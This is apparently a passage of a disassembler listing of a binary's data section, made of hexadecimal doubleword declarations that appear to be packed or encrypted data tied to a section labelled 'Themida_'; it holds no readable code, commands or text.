		dd 11308A56h, 6CB43CAEh, 0DE806E7Ch, 0A03A3D06h, 3CB13256h
		dd 0EAB13250h, 0E48D2C91h, 0B6580410h, 0C2B13256h, 0BA630782h
		dd 0E67F5443h, 432F72E2h, 0D5B13142h, 0EABFB859h, 7AD13256h
		dd 0BAB132D7h, 0D756B356h, 0CFAF9F66h, 0D2BEF25Dh, 0ABB13246h
		dd 29B6B9AFh, 0EAB110BFh, 74353D56h, 43B13256h,	52A5F5D5h
		dd 0AEB13ED7h, 513A3D56h, 0A4B13256h, 0D5B132D0h, 15F0DB56h
		dd 0FC49CDA9h, 454DCE13h
		dd 0A2483E23h, 22BE3A23h, 57B13244h, 4240B936h,	0D5B1325Fh
		dd 8F4DF296h, 22D7FE6Bh, 8D4E53CFh, 5F13DAAFh, 0A1583256h
		dd 92B13256h, 6495E7E6h, 0AB10FC00h, 9AD7AD2Fh,	0B5BA80F3h
		dd 0BAAAB659h, 4D583256h, 20B13256h, 34178952h,	10DC9B4Ch
		dd 0B17DEFFh, 36A586Ch,	75B1306Ah, 46F4B9AEh, 5B353D36h
		dd 2FB13256h, 5063EA8Dh, 783A545Eh, 0D9383D37h,	3B13256h
		dd 75B13251h, 0AA39C850h, 6476F086h, 0A3333D51h, 37B13254h
		dd 54D0C8DDh, 56BECE13h, 0EAB1325Ah, 0BDCD8836h, 0B60F310Ah
		dd 3CEDC0ADh, 0AEB54DD5h, 5789B659h, 0BB583256h, 63B13256h
		dd 0F3E374A3h, 8BB11E4Bh, 7CD7AFCEh, 0DE4C4B6Ah, 0A1B13E29h
		dd 57B12BD2h, 0ABB9DB56h, 0A8F43256h, 44EE92D3h, 3D58E9AAh
		dd 0B5B13256h, 5DB133D7h, 5109CE56h, 0BE4ECDA9h, 0ABB13259h
		dd 547129A6h, 0FD4114D2h, 0D8013F9Dh, 3CBA823h,	5DB13253h
		dd 0AEB0B359h, 0A4493256h, 5C3052FDh, 83422A47h, 8B60B930h
		dd 8A4FD0BFh, 0BAB4DBA9h, 0F7CF3256h, 2D47FA09h, 58B42229h
		dd 0ABB158D2h, 0D5A1DB56h, 570E3256h, 0B6EB4E36h, 43E3D445h
		dd 3EEA222h, 0D132E035h, 0D2BE3446h, 0ABB13222h, 0D5B0BD59h
		dd 0AB443256h, 71F6B9AAh, 460E5436h, 5DA3DBC6h,	4E873256h
		dd 0BF960F58h, 0AADC4DCCh, 0B7AF67CBh, 2A97E6ECh, 79EEB937h
		dd 7331CA36h, 9658534Bh, 47B13256h, 57B13259h, 0F5E46FFFh
		dd 0F2B1CFh, 0E6E5E023h, 0FED7ECECh, 3DBE3611h,	5DB13257h
		dd 0A2EEB9A3h, 287EB336h, 42A49021h, 0D5B1325Fh, 2B67398Eh
		dd 0BBEF023Ch, 3D58538Fh, 0A8B13256h, 0CEB575DDh, 0BE6A8D59h
		dd 0ABB13247h, 0C88C0EBCh, 87AFF47Eh, 0BE92863Ch, 0AE15093Fh
		dd 23A5361h, 693A525Ah,	57B122BFh, 728CD256h, 0BC97AD6Fh
		dd 8FCDB31Eh, 0DDD9ACEBh, 0E59A53EBh, 0B632CA52h, 0AEB6DB53h
		dd 0F7EC3256h, 61BFE591h, 0C5CEB1A4h, 0C5343D55h, 15B13256h
		dd 0BAB137BFh, 7A350256h, 653A791Fh, 47585237h,	0F2B13256h
		dd 0EB0BDE4Bh, 5C5F72B2h, 342C6764h, 0DA0DDD80h, 3B2DFFD6h
		dd 0CFD0C9DDh, 8E9ACE17h, 310E5436h, 8938537Ch,	62BE3357h
		dd 75B1325Ch, 0B5D05236h, 5DB132DDh, 51095356h,	0A24ECDA9h
		dd 0ABB137EFh, 36305256h, 0C17C911Ah, 0DE42CE37h, 0BAB0BA59h
		dd 0B4483256h, 514ECF21h, 57B139BFh, 2990FE56h,	0CCAE5B91h
		dd 543EB9B6h, 75B4DB37h, 63EA3256h, 94D511A9h, 543A5436h
		dd 0A557B330h, 0A37353ADh, 0DF595256h, 14B13256h, 861C7CFDh
		dd 67E75E55h, 27FB8EBh,	0CF488559h, 423C3D03h, 42B13256h
		dd 0D5B13246h, 5056CB21h, 62474631h, 7A0503D7h,	24C22B36h
		dd 0BA58DEDDh, 0D3B13256h, 3667FDF2h, 0D0952912h, 3C43D166h
		dd 429E2FCCh, 399B1372h, 5158CE92h, 72B13256h, 2964F008h
		dd 87236813h, 0B592F739h, 0EAB126BFh, 8E779D56h, 78851E87h
		dd 18DC995h, 0DBE7A6D5h, 2830AF43h, 0A3F4B95Ch,	0BB085236h
		dd 8BE7E79Bh, 75B3B859h, 0E3E33256h, 51F40937h,	0AEC9B059h
		dd 6C443256h, 2CBE2213h, 0D5B13238h, 0EAB121BFh, 8CB65D56h
		dd 1C2A7281h, 0CF6F3C15h, 0D909BE3Eh, 91CFD64Ah, 0ABBFBF59h
		dd 0DC583256h, 0FDB13256h, 0B7C89969h, 6A814E40h, 5D4D7791h
		dd 0A1B13256h, 57B13CD5h, 78305256h, 0F181B1AEh, 0EAB1B859h
		dd 9CD03256h, 0BAB1320Fh, 5DADB959h, 47D13256h,	57B13245h
		dd 1AC8511h, 67FBF62Ah,	8973A699h, 0CEED3C0h, 0EB4118D8h
		dd 18765308h, 0AEB133AAh, 56383D56h, 52B13256h,	0B4D15236h
		dd 0EA17C5D7h, 0FFD012D0h, 0AC585386h, 0B4B13256h, 0AEB13247h
		dd 94B5E402h, 55CFFEC3h, 50F93D8h, 104B7D6h, 705853F2h
		dd 30B13256h, 387D98DBh, 0A14D77DDh, 57B13EDEh,	0AD333D56h
		dd 0DAB13256h, 0EAB132DBh, 7358FB56h, 0DBB13256h, 801161E0h
		dd 0BF363D41h, 0BEB13256h, 0ABB1325Ah, 33D9AE0Ch, 0F00BA27Fh
		dd 695106ACh, 0DAB13E94h, 0DF52B330h, 0AD353D74h, 31B13256h
		dd 0FED0F8DDh, 0D5B13CBFh, 768AF356h, 0D2DF032Dh, 8415E766h
		dd 0D6594C78h, 0A6393DBAh, 58B13256h, 0ABB130D6h, 56D05256h
		dd 3D1CE92h, 75B13251h,	414DFC9Dh, 0B4ECC751h, 0AEB13242h
		dd 0C69F6999h, 91FAA716h, 1F86E703h, 0E69373A7h, 4AAEAD7Eh
		dd 53D15237h, 5DB13259h, 12135A1Eh, 22922CB2h, 7117E6h
		dd 2055F2CEh, 0EAB9DB37h, 0AF5A3256h, 7EBB04E1h, 5D59179Eh
		dd 0F4B13256h, 8C9DD8D7h, 0CDD13440h, 0DB58EADDh, 0ADB13256h
		dd 7709232Eh, 22A70BCh,	94DA74CAh, 9D445376h, 0A93A529Fh
		dd 0CBD06D01h, 0ED62B330h, 0E10A5432h, 0AE8253BFh, 0BABBB259h
		dd 0FD13256h, 1C5BB30Fh, 36967448h, 0ABB13FBFh,	0F6DC156h
		dd 4E220184h, 0C2DF333Ah, 0E73817BCh, 0E73ACBAAh, 0A8A7A3A8h
		dd 57B13ABFh, 0A78BC256h, 9177876h, 0EA8EB149h,	7792B659h
		dd 3FBE3256h, 5DB1325Ah, 0AEB7B559h, 0D6BE3256h, 0ABB13256h
		dd 0DA4E0DD5h, 0EAB117D3h, 0B232CB56h, 0BABEDB42h, 41163256h
		dd 6A4E96A2h, 2E78679h,	0D63AEC4Fh, 6B58CA6Dh, 0E54ECDA9h
		dd 75B133D8h, 0C532CE56h, 0D9BE3252h, 0AEB13279h, 57B6DBAEh
		dd 58F33256h, 24A96698h, 0E6CEB171h, 6D353D56h,	0B5B13256h
		dd 5DB133DEh, 8E58CA56h, 0BEB13256h, 0ABB13251h, 21580AE6h
		dd 158A4C05h, 0F648CE13h, 33BE2691h, 5DB13257h,	51DADBA3h
		dd 0D444CDA9h, 0A4B42229h, 0D5B15FD2h, 0E63B3D56h, 7AB13256h
		dd 0BAB134D1h, 5D3C3D56h, 2DB13256h, 58B72229h,	0ABB1B0D3h
		dd 30055256h, 61BECB36h, 75B13256h, 53F05337h, 5DB1325Ah
		dd 0FBFBCBB6h, 0BBB70E33h, 9F14C863h, 0DAB575DDh, 0EAB136DFh
		dd 903B5256h, 0B6EEB937h, 5DB121BFh, 0D3524356h, 4EF0A455h
		dd 611B2934h, 0C295AFA0h, 8833B8D9h, 75B18ABFh,	42E05256h
		dd 1A3A530Fh, 0AEBEDB52h, 0E7853256h, 35855ABCh, 64396317h
		dd 1D2ABD78h, 79EEB9A0h, 0BAB13EBFh, 6138A556h,	33CAFA9Ch
		dd 0E9C9BC41h, 0ABC2DBBFh, 5E4D3256h, 61443611h, 13D13E09h
		dd 528A24E8h, 5DB1325Fh, 0E091C20Fh, 9892AA02h,	0F0D05289h
		dd 0DC595237h, 0BAB13256h, 11B21941h, 0AEF1B893h, 76D06CAEh
		dd 2DBE3609h, 57B13257h, 0AE5AB1AFh, 0D5B0B059h, 0E5443256h
		dd 75B13ED9h, 0BC3F3D56h, 52B13256h, 0AEB132D2h, 47CEB156h
		dd 0B9343D55h, 0DAB13256h, 0EAB13BDAh, 7A445256h, 0BAB132D8h
		dd 1C445356h, 0A16819AAh, 57B13AD7h, 0A9373D56h, 0B5B13256h
		dd 0EBEDBB37h, 0CAD15257h, 9A1F19D9h, 3CD15237h, 9068B330h
		dd 0EFD05368h, 544ECDA9h, 0D5A1BD59h, 0E1583256h, 0FCB13256h
		dd 0C8F0132Bh, 14459DFBh, 0AB0875BCh, 37B13256h, 0A8098A01h
		dd 0B4EB20FEh, 0F95899A5h, 3FB13256h, 0DDE4EEB2h, 1E14D18Fh
		dd 0E1DCC7C1h, 3A0FA61Dh, 49581B5Ch, 0B54ECDABh, 0EAB1B359h
		dd 0F1BE3256h, 0BAB13256h, 0DFBE5337h, 0AEB1325Eh, 57B3BB59h
		dd 0CAD13256h, 3C4D77DDh, 0EAB13251h, 0B8F3AE02h, 73EAC8DDh
		dd 5DB13FBFh, 0E57A6756h, 1F2D0836h, 0B848B92Ch, 56BEFFA2h
		dd 0EAB1325Bh, 0D72F8936h, 34BE678Dh, 5DB13256h, 0BA58F137h
		dd 0F4B13256h, 0FE9519ECh, 33E890C9h, 595B4F5Eh, 4A5299AFh
		dd 0EAC445D1h, 9B3A5436h, 0AEB1B859h, 6D03256h,	0ABA6B759h
		dd 54BE3256h, 0EAB13247h, 75B13EBFh, 0F3526F56h, 0DAD9E1A9h
		dd 0BFA03190h, 31D16141h, 43D0CBDDh, 0D5B13256h, 0B35BB30Ch
		dd 15B72488h, 0DC43B930h
		dd 3C69C6ECh, 0EA2BBFAFh, 0BEB724C5h, 0ABB13242h, 742DFB79h
		dd 0AE0446AAh, 809C0825h, 0F2DC56BDh, 45C368F3h, 0AEB156EEh
		dd 493A3D56h, 0A4B13256h, 0D5B12AD7h, 0EAA2DB56h, 0E6433256h
		dd 59A0F783h, 0F2699A8Bh, 176DDAFFh, 8F4AEDA3h,	0FB4D525Eh
		dd 0D5B1BA59h, 8BE93256h, 75B4B1BEh, 0A03F3D56h, 3DB13256h
		dd 0AEB1BA59h, 5A583256h, 69B13256h, 0C6E1A209h, 0E791B7ABh
		dd 2C798A71h, 0B5BAB937h, 5DB126D3h, 0AEBEDB56h, 0CEAF3256h
		dd 0F9F1EA95h, 0FB07C0D5h, 0CD7B3710h, 8D700969h, 0BAB14CBFh
		dd 4C3E3D56h, 47B13256h, 57B1325Ah, 3E0C6074h, 82B0D570h
		dd 7FE448DCh, 80B57955h, 38BEF36Dh, 5DB13227h, 0AEB122BFh
		dd 4D995356h, 0B3FFAE56h, 0DCFACCDh, 1A144C63h,	75B7DBCAh
		dd 37843256h, 0A57FBD4Dh, 0CEA17955h, 57B13FBFh, 2B3E3F56h
		dd 0E2DB5C5Ch, 45F3C42Fh, 4ED06045h, 0B1333D97h, 3DB13256h
		dd 0CF7FB930h, 57B13EBFh, 0E358CB56h, 0B5B13256h, 2A0B8D30h
		dd 758CDB37h, 37483256h, 4A383DCCh, 7D4EC750h, 579CDBAFh
		dd 24BE3256h, 0D5B13257h, 0DF2BBFA3h, 7AB725DAh, 0BAB134D6h
		dd 0A43A5256h, 51D06B05h, 57BCDB85h, 0CF8B3256h, 26BE9F84h
		dd 0F851B833h, 2EB4084Dh, 0B57E8536h, 5DB136DBh, 93085456h
		dd 0E4853FEh, 0ABA8B659h, 0C1583256h, 1BB13256h, 803B7A1Ah
		dd 0C931DCB4h, 0C9FBEC60h, 0D7ADA849h, 0FF7FE4Bh, 0CA69B936h
		dd 0AD005295h, 0EAB138BFh, 0D7794956h, 0BC02FB0Ah, 3C7C5A3Fh
		dd 0B4323D03h, 58B13256h, 0ABB126D5h, 0D5BEDB56h, 5FF03256h
		dd 259F0AD9h, 61963B7h,	4B7F77FCh, 475DB946h, 57B1325Ch
		dd 1DCF66E2h, 64C83A54h, 0EA59CA9Bh, 2FB13256h,	5AF1D8D7h
		dd 0B4D13440h, 0AEB1325Ah, 0F1F1DE75h, 0F07425FCh, 3E4EE3FAh
		dd 61BE53A3h, 75B13257h, 0DAD1C7A3h, 5DBBB459h,	0AB583256h
		dd 17B13256h, 0DAE31C5Ch, 307AB330h, 60BE534Ch,	75B1324Ah
		dd 0BAA3DB36h, 48913256h, 0D738A8CCh, 0CE84B756h, 75D886FEh
		dd 96AC144Dh, 8B45D5D6h, 0E6F588DBh, 38BE3440h,	5DB13257h
		dd 0A6F4B9AEh, 57BCB659h, 0A4D13256h, 0D5B132DCh, 7AB78D56h
		dd 15D03B91h, 12D7FCD7h, 0D6D1340Dh, 0AE313DA1h, 36B13256h
		dd 0CBB6BB37h, 734DDBD7h, 2C3B01A6h, 79F4B937h,	2C0F5436h
		dd 3CE86247h, 0CEB575DFh, 0BC43B330h, 0F93E8CF2h, 5ED034F1h
		dd 66BE2213h, 75B1325Ch, 0B5EE6536h, 5DB132D0h,	0E9385356h
		dd 57BEDB5Ah, 2A403256h, 0DC8DC41Dh, 0E2F537Fh,	2BCD76F6h
		dd 0AEF4B9B4h, 5DB13FBFh, 47AC3656h, 416F98B1h,	33472D36h
		dd 9238CA73h, 0E73A3D46h, 15B13256h, 7BBBFAD7h,	0DCD76F85h
		dd 0CF102B8Fh, 40303D37h, 0A4B13256h, 0D5B123D2h, 0EABDDB56h
		dd 0BE523256h, 7599EEFFh, 81A8815Ch, 4778FE2Eh,	57B13242h
		dd 0F64EC11Fh, 7C87360Dh, 809A9207h, 1E1BB0D4h,	13DED28Bh
		dd 0A8B12294h, 0AEB126BFh, 486AFD56h, 87366C0Dh, 0CBC5FD44h
		dd 0F2DCC625h, 18941526h, 0B5585229h, 36B13256h, 6661044Bh
		dd 0EB63D37h, 0D69A6BC7h, 5077FFCDh, 0ECA111B3h, 6FD9C711h
		dd 0B5192525h, 5DB133DEh, 1B4ECE56h, 51A12F13h,	0ABB137BFh
		dd 316B9456h, 6744EB7Ah, 6634B8D3h, 3BD75250h, 0B4FE268Dh
		dd 0AEB13246h, 7114AE7Bh, 2480F821h, 272D16D2h,	9FEC7FFh
		dd 7A61CD37h, 0BAB123D5h, 563C3D56h, 47B13256h,	57B13250h
		dd 85ED14Dh, 3CE3151Ch,	0EAB13247h, 0DCFDB297h,	58F4A4C9h
		dd 0E69D6C88h, 4CC25E98h, 813BBF9Ah, 0CBB724C2h, 0B4E7D4D6h
		dd 0FE585207h, 8FB13256h, 17F45111h, 3E9EBBAEh,	368E7CBBh
		dd 40359272h, 0CBD505B9h, 5ED7B3E6h, 3D05385h, 75B1325Dh
		dd 4D147D11h, 0E1F0F186h, 51E88EDBh, 57B4DB86h,	73043256h
		dd 8F36C564h, 0E73E3DAFh, 9CB13256h, 0BAB1325Eh, 5CB36B50h
		dd 0D484972h, 0C367B0DBh, 0CDD13440h, 9557C0D7h, 62D3D9D7h
		dd 89D06E10h, 0B6F18559h, 2156B336h, 25F65364h,	8F3A53A1h
		dd 0ABB9B559h, 5ABE3256h, 0EAB13254h, 15E35336h, 0E17BB905h
		dd 6CBE53AEh, 0BF5868AEh, 18B13256h, 4D2993B6h,	0B2D72E8Fh
		dd 3C37BAC6h, 0E34ED480h, 32BEF155h, 5DB13259h,	0AEB138BFh
		dd 2E072556h, 3969A7F1h, 0B52AFF04h, 2230E3E0h,	435F4348h
		dd 5733BB37h, 0A5B72245h, 0A8393D36h, 0D6B13256h, 97CB7AA6h
		dd 6305414h, 8BD0486Eh,	6458F1AFh, 8FB13256h, 47DE09BCh
		dd 0D559D4Bh, 0EFA2CFBFh, 3A8C01F2h, 52FCFC51h,	0FE860h
		dd 0A2060000h, 307B3D7Ah, 0DDBE8459h, 0A3C5EFD5h, 91C881D8h
		dd 5E4115B6h, 5F616057h, 0E861h, 815A0000h, 16E35FEAh
		dd 0BE906h, 0D4B0000h, 72BFB30h, 3A8B8D25h, 5E9F595h, 50000000h
		dd 88F49043h, 0F606052h, 800FFBB7h, 0
		dd 61FD8A61h, 13ED828Bh, 830F0610h, 11h, 0B8A0Fh, 6E90000h
		dd 0B3000000h, 5E13C8Eh, 0DE9EBh, 12530000h, 0DE37195Ch
		dd 66705119h, 0B9A85C73h, 41C64E6Dh, 0FE9h, 9DAF6C00h
		dd 495A4223h, 3BC6EFC0h, 0A3FEAD1Bh, 0F60E1F7h,	28Fh, 0E8616000h
		dd 9, 7B41E8D4h, 9E956524h, 615AF5F0h, 88D0F5Ah, 0F000000h
		dd 284h, 60616000h, 66DA8B66h, 561D88Bh, 3039h,	0D88B5060h
		dd 890F5Eh, 61000000h, 0FFFFFF25h, 8289F57Fh, 61013EDh
		dd 1860Fh, 5AF50000h, 0F961F860h, 0BE666059h, 0C361FA33h
		dd 51F18A60h, 615ECE8Bh
dword_5B98B0	dd 0EE951h, 0CF6E0000h,	0EC24D470h, 207E3653h, 0E6FEA60Ch
					; DATA XREF: Themida_:0054D350o
		dd 0BE952h, 0BAC10000h,	0AE88C8B1h, 0AC8F6917h,	7800FA5h
		dd 0F000000h, 18Ch, 0E8F500h, 5A000000h, 0E47CEA81h, 60600616h
		dd 860Fh, 5E570000h, 6E861h, 0F5400000h, 0A76D1D20h, 61586160h
		dd 0F5C88BF8h, 0FFFE8FE8h, 6E9FFh, 0E0BE0000h, 4FC7C806h
		dd 0E9F5D233h, 14h, 7A5886D2h, 0DDA1DF3Bh, 99D892AEh, 7F51EE75h
		dd 0E1F2645Ah, 830FF1F7h, 18h, 12860Fh,	0DE90000h, 0FD000000h
		dd 70AFA9BCh, 2D09A8F4h, 6C935B82h, 5AF9C28Bh, 8E960h
		dd 97720000h, 0C607366Ah, 0BF0FC683h, 0F5961C0h, 885h
		dd 28D0F00h, 60000000h,	0BE961h, 0EEE00000h, 0F757016h
		dd 0B28925CBh, 860FC38Ch, 0Ah, 5E9h, 0A621C800h, 0C08BCFB9h
		dd 11E9h, 6C7F9300h, 0B63D1752h, 0AA8B9DC7h, 252CD0DAh
		dd 0CE96344h, 97000000h, 674033D9h, 4EAD6BDAh, 8BB94EFFh
		dd 65B960C0h, 6110678Ah, 0A925858Dh, 0E9600616h, 0Fh, 2317184Ah
		dd 320497BCh, 9DCFB18Bh, 80D67603h, 0FF61A5DEh,	8B66FCD0h
		dd 858DF5C1h, 616E335h,	14E9h, 99CD5800h, 0CDC4D5D0h, 2C2E3CCDh
		dd 78EDFDEBh, 2E18317h,	0C78B6039h, 0FE8h, 0A9B46800h
		dd 0D7B05777h, 24E94841h, 0F744A9A3h, 8589615Fh, 6101CA1h
		dd 14840Fh, 0FE90000h, 0B9000000h, 84989FCBh, 453BF84Fh
		dd 20D75935h, 858D902Fh, 616E445h, 14E9h, 0CAC0800h, 59CEDE92h
		dd 7711F1FAh, 0FE9983CFh, 0F07563F7h, 14E94Ch, 94460000h
		dd 9C4F68CBh, 71B9A04Fh, 762CAB24h, 644CED89h, 8589A9FCh
		dd 6101EE5h, 1F8F0Fh, 8D0F0000h, 19h, 14E9h, 96B6AA00h
		dd 0C6507D1Eh, 887941F6h, 41ECB229h, 84922217h,	0B879h
		dd 8A600000h, 0BFB866EFh, 0C00B61E4h, 186840Fh,	52600000h
		dd 53FEBE66h, 0FE959h, 0F77B0000h, 0ACF015D6h, 1AF25F14h
		dd 0DCB239C2h, 800F616Bh, 8, 0CE8B6660h, 61CF8B66h, 23E585C6h
		dd 60560610h, 0F9D64ABFh, 0DF686126h, 0F8A9C530h, 1D45B5FFh
		dd 0F600610h, 0BE66F1BFh, 8D61E350h, 13858A85h,	14820F06h
		dd 0E9000000h, 0Fh, 0ACD2BDD1h,	0D5AAACFEh, 0BA326D16h
		dd 0FFBDE184h, 0B8D0FD0h, 0E9000000h, 6, 0B5DD5EF1h, 6050B2B3h
		dd 13E961h, 9D320000h, 0E4FF84C8h, 1465FD33h, 4CDB0E16h
		dd 0A5A8203Ah, 0A58D8DFAh, 60061015h, 8BC7BF0Fh, 0E95161F1h
		dd 7, 0D1195ED5h, 6AAECBA2h, 68F904h, 60000010h, 11E8h
		dd 0F78CB500h, 72EA5231h, 51A64908h, 40C4C2E7h,	0BE9938Eh
		dd 0C4000000h, 9B75B464h, 5967D545h, 665B2DB1h,	61A43DB8h
		dd 1FD5B5FFh, 60600610h, 61CBB3F5h, 14E9h, 0D1F43700h
		dd 30BD0F77h, 6FA4A4CBh, 8362F16Dh, 328CFA42h, 0D0FF61E3h
		dd 5E9h, 7F5D3B00h, 0BD8B38F6h,	6101FD5h, 98C0Fh, 0F9600000h
		dd 860Fh, 3610000h, 890F3C7Fh, 0Ch, 890F60h, 66000000h
		dd 61C7EBBAh, 0DE9h, 0F18C4F00h, 0D4F58C13h, 5EA12E2Bh
		dd 0C781368Dh, 0F8h, 0D890Fh, 8E90000h,	5B000000h, 0DEB66242h
		dd 0C756A2CAh, 202447h,	9E96000h, 46000000h, 6AB7EE43h
		dd 0F64F42D6h, 0F519D8Dh, 14E90610h, 3C000000h,	88406E00h
		dd 0FEAC156h, 95ED08F6h, 0DA74DBD6h, 8BB6057Ah,	8D0F6003h
		dd 3, 0F7DC180h, 181h, 0B61F500h, 43840FC0h, 60000000h
		dd 0CE9D58Ah, 0CD000000h, 0F2C82B6Eh, 661F105Dh, 6181D7F0h
		dd 12E960h, 0E53E0000h,	60B142D8h, 987E5E20h, 9986951Dh
		dd 0E75E3B1Bh, 4820Fh, 0BB660000h, 8B61CD77h, 0F88B6000h
		dd 4438961h, 0F6B96160h, 0E900234Ch, 15h, 23089068h, 4 dup(0)
		dd 546E900h, 0FFAF0000h, 0D37900BCh, 0F499209Ch, 0D378FFBBh
		dd 0F1932296h, 0F410F6B2h, 27A3E286h, 0BCFDB0h,	1E9AD579h
		dd 0FFBBF097h, 0C979300Ch, 2D6BDA94h, 7932E4B0h, 0DBC708A9h
		dd 0DDC908BCh, 87597D59h, 0ECD110B4h, 98147947h, 0EFAFCCE3h
		dd 1AA8637Dh, 0FA6DCC28h, 0C704A71Eh, 0B98257DBh, 0D564D817h
		dd 330DF92Eh, 2FE45E4Dh, 24006DCCh, 0DDC9FEA5h,	10B78459h
		dd 0F8B027DBh, 0E8BEAFC1h, 70FD6FCDh, 289A916Bh, 0CC6DCC97h
		dd 0F08B7B50h, 3AF130CFh, 89774905h, 0CC9720A2h, 525FC46Dh
		dd 0ECCC09BDh, 49FDBC98h, 0E9FE620Eh, 0CD81BC72h, 8068FAF3h
		dd 0BF4FA1F7h, 427D31AAh, 0BA96374Eh, 9F23E611h, 776DCCEEh
		dd 472BD7FBh, 0B99DDC90h, 8928DBCDh, 4D68E4Dh, 50442061h
		dd 863CF7D4h, 5F088F4Bh, 0E689502Ah, 83D2D4A9h,	6DCCEE3Ah
		dd 0C227BEFDh, 336AA3EFh, 83CFh, 79323D00h, 0E7412A44h
		dd 4D6578CAh, 7138E603h, 6DCCB2D3h, 8D79B86Ch, 731F560Eh
		dd 639038EFh, 0CCB21AA8h, 421EFA6Dh, 5A91374Eh,	5967FE9Dh
		dd 9752F1D2h, 336A6956h, 1251F3C6h, 83E5025Eh, 8, 0CF06BE7Dh
		dd 0A22A3F23h, 29437A32h, 7CEE5457h, 2A066DCCh,	1DF514Dh
		dd 0CC7CB80Ah, 0B6F1956Dh, 0BAB666CAh, 376E169Dh, 5A974C4Bh
		dd 0DA15B980h, 712D4A26h, 67CE653Eh, 47CE8AC1h,	59EF6BA0h
		dd 533F7E32h, 7B558C34h, 8BF6CC52h, 0CEABD4B5h,	0DB14B9D0h
		dd 0C0F9B027h, 32D950D4h, 0DB609FDh, 2E4D4A76h,	9BDA8E97h
		dd 0C87E3D1Fh, 3CE3708Dh, 927EB36Ch, 3CECA98Eh,	0ED156F6Fh
		dd 0C77E1D09h, 2B1E28Eh, 2FD46763h, 0DF22D5F2h,	0BF336AE3h
		dd 5Bh,	3F7E320Dh, 0EA58532Dh, 0A6DCC7Ch, 4E4D390Eh, 0F7B25E97h
		dd 842809A8h, 0FBB02B45h, 0A635A9BEh, 0D7A9C302h, 0CC7C6ED4h
		dd 0CDAA866Dh, 0D815BAD1h, 0A9487B2Ch, 0BEF7AE2Dh, 342BF6A9h
		dd 4A0B336Bh, 81000000h, 533F7E32h, 9F538E34h, 55DC734Ch
		dd 8DC96BB3h, 0B95FA796h, 328B219Dh, 84F437Ah, 6DCC7CBFh
		dd 0FDACD790h, 6DCC7C45h, 0F5A1C5A1h, 0F431D6h,	6F44DB96h
		dd 0FA46C711h, 0BF866A02h, 29846100h, 9336B1Bh,	1, 5C04D783h
		dd 0D68B4825h, 55F8C39Dh, 50473714h, 24AE6297h,	7A2FF68Dh
		dd 0A1388D41h, 8069203Ah, 6467FC06h, 552FFE67h,	4B20C53Ch
		dd 50894057h, 62098074h, 812AB12Dh, 18FC3B43h, 70546908h
		dd 0D86FD584h, 0F8E49423h, 0E9256AD3h, 1B30D934h, 13EDE988h
		dd 236EAA18h, 0E2C54A94h, 4EB87DA6h, 28B3C8ACh,	0DE85547Fh
		dd 9279FDA9h, 94231C30h, 838658D4h, 94231C3Fh, 0C3775BD7h
		dd 84568B34h, 1C13AF5Ah, 77F39423h, 0F9CE0BC0h,	0A0D58E0Dh
		dd 6D0497F4h, 72E61BC4h, 0FB37688h, 0E794231Ch,	1C2C9695h
		dd 6CC89423h, 61AC7388h, 41397BD6h, 12Eh, 88C97C3Fh, 0BD5CD973h
		dd 78B6DF15h, 2E129456h, 8A5C6D1Ch, 0AEAA67FCh,	0E71CC3C2h
		dd 6FACD815h, 9F6BC1AFh, 0AF2A14CAh, 6407BEFDh,	0E2F77B27h
		dd 897DB259h, 70245912h, 0EDE9881Bh, 0C6189100h, 0A2B7D8A5h
		dd 813D7219h, 7AFCF3BEh, 36D339h, 6EED0000h, 0C65E7BBAh
		dd 401AC15Ch, 0CC7CD949h, 7521FDEDh, 508940FBh,	7C32907Bh
		dd 999BEDCCh, 192E6F22h, 6974EB8Ah, 31B15872h, 0D56DCC7Ch
		dd 0A764E559h, 0D8000000h, 265B04D7h, 0C025B451h, 0CC7C79C9h
		dd 32907B6Dh, 0D26DCC7Ch, 0BCAA656h, 0D691D56h,	771417E9h
		dd 0F67FC0Ch, 0BF685F13h, 0FFECCE8Ah, 0EA9E782Bh, 4E7BF7ABh
		dd 44032F61h, 0CF8C61A0h, 0F709E318h, 233B8E34h, 0ED0A6694h
		dd 3ADF6A31h, 0AB949423h, 18560D14h, 5BE91976h,	9E4605CDh
		dd 72CF8B67h, 78667863h, 6A7EED53h, 0BE6D26F9h,	9423EB04h
		dd 8B6084E0h, 18F39FA0h, 0A2C8059Eh, 7CD6B501h,	0B1AD6D8Ah
		dd 0E81DC6C5h, 7817AA3Ch, 0F507D4E3h, 9BA2200Bh, 0E6429E14h
		dd 3B3CEF11h, 0C3942F83h, 0FCD819CCh, 4D7AA40h,	0F0742061h
		dd 706B8ADBh, 64AAAB5Eh, 0D85467F7h, 0C1F6AD2Ch, 0A0D58E0Dh
		dd 0BBF7AF4h, 1C10FBD0h, 0C1F907EDh, 468743E2h,	4A0E9F45h
		dd 763D1AEBh, 952498CDh, 3B4B0EEh, 10BF50A7h, 0CDB9F699h
		dd 2998D69h, 522D074Dh,	9C552D32h, 0AAC6AAE7h, 0ED2EDFF6h
		dd 0B4E9A239h, 59F88BC0h, 0B3348E7Dh, 54D0B906h, 942BC670h
		dd 2DA1D68Dh, 0D4C0F5AEh, 0AC3h, 4D73900h, 0F571255Ch
		dd 32C288D8h, 52493D80h, 19B06499h, 4F463A75h, 32A95D9Eh
		dd 34533F7Eh, 26A55190h, 39504481h, 30A75B94h, 0CF554178h
		dd 717868h, 240C8900h, 0C181E189h, 4, 8704E983h, 685C240Ch
		dd 7EF2h, 68241489h, 2AB5h, 57240C89h, 4717B1BFh, 5FFA893Fh
		dd 0FF32F281h, 8B543951h, 0C483240Ch, 4EC8104h,	89000000h
		dd 418F2414h, 2434FF08h, 4C48159h, 0FF000000h, 835A2434h
		dd 0A9E904C4h, 0ACFFF992h, 4C37478Eh, 16ED65B8h, 0FFC50306h
		dd 0C6224DE0h, 0A0EAEA0Ah, 0CA54E31Dh, 0AE2E2C17h, 75734E23h
		dd 0E18BE840h, 49FA0B32h, 4D3C4603h, 5FD3987Fh,	17545527h
		dd 75B3AB2Ch, 84C59F77h, 890EB870h, 0CCF1902Fh,	3B7A933Eh
		dd 0B617320h, 9E95B37h,	51284253h, 0B2DD6239h, 6BA9B649h
		dd 1C45DE1Bh, 0ECD9CA61h, 2FF5A212h, 0AF895638h, 3E80FB74h
		dd 9A8BC12Ah, 9F09D55Eh, 0BE844h, 0ACC60000h, 54464F12h
		dd 32B1750h, 11E964h, 3C2E0000h, 8864E881h, 23EB6A2Ah
		dd 2266B130h, 5B812ECBh, 28A0F51h, 60000000h, 0C3815861h
		dd 5BC7h, 5EDFDDBFh, 16B8684Ah,	11E90000h, 0C2000000h
		dd 5E89394Bh, 1EC37765h, 75522AC0h, 43C5CFE9h, 79BF665Eh
